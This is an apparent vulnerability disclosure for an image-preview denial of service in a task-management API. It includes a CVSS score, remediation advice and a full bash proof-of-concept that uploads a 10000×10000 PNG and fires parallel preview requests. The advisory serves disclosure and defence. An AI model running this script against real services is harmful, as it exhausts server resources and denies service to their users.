DoS via Image Preview Generation

Summary

- Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images.
- Affected code:
  - Decoding without bounds: task_attachment.go:GetPreview
  - Resizing path: resizeImage
  - Endpoint invoking preview: GetTaskAttachment
- Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service.
- CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

Preconditions

- API running locally (`http://localhost:8080`).
- Task attachments enabled: `task_attachments_enabled=true` in Info.
- Any authenticated user with write access to a task.

How It Works

- Preview generation decodes the full image via `image.Decode` and resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize.
- The first preview per attachment and size performs the heavy work; later requests are served from cache keyvalue.Remember.

Run The POC

- Script:

```
#!/usr/bin/env bash
set -euo pipefail

BASE_URL="${BASE_URL:-http://localhost:8080}"
USERNAME="${USERNAME:-dosuser}"
EMAIL="${EMAIL:-dosuser@example.com}"
PASSWORD="${PASSWORD:-StrongPass123!}"
PROJECT_TITLE="${PROJECT_TITLE:-poc-dos-preview}"
TASK_TITLE="${TASK_TITLE:-DoS preview test}"
OUT_DIR="${OUT_DIR:-/tmp/vikunja-poc-dos}"

mkdir -p "$OUT_DIR"

echo "[+] Checking instance info"
curl -sS "$BASE_URL/api/v1/info" | tee "$OUT_DIR/info.json" >/dev/null
if ! grep -q '"task_attachments_enabled":true' "$OUT_DIR/info.json"; then
  echo "[!] Task attachments disabled"
  exit 1
fi

echo "[+] Registering user (may already exist)"
curl -sS -X POST "$BASE_URL/api/v1/register" \
  -H 'Content-Type: application/json' \
  -d
'{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}'
\
  | tee "$OUT_DIR/register.json" >/dev/null || true

echo "[+] Logging in"
curl -sS -X POST "$BASE_URL/api/v1/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \
  | tee "$OUT_DIR/login.json" >/dev/null
TOKEN="$(sed -n 's/.*"token"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p'
"$OUT_DIR/login.json")"
```

```
if [ -z "$TOKEN" ]; then
  echo "[!] Failed to get token"
  exit 1
fi

echo "[+] Creating project"
curl -sS -X PUT "$BASE_URL/api/v1/projects" \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"title":"'"$PROJECT_TITLE"'"}' \
  | tee "$OUT_DIR/project.json" >/dev/null
PROJECT_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])'
"$OUT_DIR/project.json")"
if [ -z "$PROJECT_ID" ]; then
  echo "[!] Failed to get project id"
  exit 1
fi

echo "[+] Creating task"
curl -sS -X PUT "$BASE_URL/api/v1/projects/$PROJECT_ID/tasks" \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"title":"'"$TASK_TITLE"'"}' \
  | tee "$OUT_DIR/task.json" >/dev/null
TASK_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])'
"$OUT_DIR/task.json")"
if [ -z "$TASK_ID" ]; then
  echo "[!] Failed to get task id"
  exit 1
fi

echo "[+] Generating 10000x10000 PNG payload"
python3 - <<'PY'
from PIL import Image
img = Image.new('RGB', (10000,10000), color=(0,0,0))
img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True)
PY
file "$OUT_DIR/huge.png" || true
ls -lh "$OUT_DIR/huge.png" || true
```

```
echo "[+] Uploading attachment"
curl -sS -X PUT "$BASE_URL/api/v1/tasks/$TASK_ID/attachments" \
  -H "Authorization: Bearer $TOKEN" \
  -F "files=@$OUT_DIR/huge.png" \
  | tee "$OUT_DIR/attach.json" >/dev/null
ATTACHMENT_ID="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); 
print(d["success"][0]["id"])' "$OUT_DIR/attach.json")"
if [ -z "$ATTACHMENT_ID" ]; then
  echo "[!] Failed to get attachment id"
  exit 1
fi

echo "[+] Requesting preview (xl)"
/usr/bin/time -l curl -sS -o "$OUT_DIR/preview_xl.png" \
  "$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl" \
  -H "Authorization: Bearer $TOKEN" 2> "$OUT_DIR/time_xl.txt"
du -h "$OUT_DIR/preview_xl.png" || true
file "$OUT_DIR/preview_xl.png" || true
echo "[+] Timing and memory (from /usr/bin/time):"
cat "$OUT_DIR/time_xl.txt" || true

echo "[+] Parallel preview requests (cache warm) x10"
seq 1 10 | xargs -P 5 -I{} sh -c "curl -s -w '%{time_total}\n' -o /dev/null \
  '$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl' \
  -H 'Authorization: Bearer $TOKEN'" | tee "$OUT_DIR/parallel_times.txt" >/dev/null
echo "[+] Done. Outputs in $OUT_DIR"
```

- Uses `curl` and `python3` (Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics.

Steps

1. Ensure the API is running on `http://localhost:8080`.
2. Execute:

   ```
   bash pocs/image-preview-dos/poc.sh
   ```

3. Outputs of interest:
   - `/tmp/vikunja-poc-dos/time_xl.txt`: `/usr/bin/time -l` timing and memory for the preview request.

- `/tmp/vikunja-poc-dos/parallel_times.txt`: 10 parallel preview times with cache warmed.
- `/tmp/vikunja-poc-dos/preview_xl.png`: Generated 800×800 preview.

Environment Overrides

- BASE_URL: API base (default `http://localhost:8080`)
- USERNAME, EMAIL, PASSWORD: credentials for the test user
- PROJECT_TITLE, TASK_TITLE: names for test artifacts
- OUT_DIR: output directory (default `/tmp/vikunja-poc-dos`)

Expected Results

- First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image.
- Subsequent requests are faster due to caching.
- Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.

Remediation

- Enforce bounds prior to decode:
  - Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M).
  - Fail early by reading headers to extract dimensions before full decode.
- Add per-user and per-attachment rate limiting for preview generation.
- Pre-generate previews asynchronously with throttling and backpressure.
- Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.

Notes

- This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.

Revision #1
Created 2026-03-04 05:25:19 UTC by Aryma
Updated 2026-03-06 02:58:00 UTC by Aryma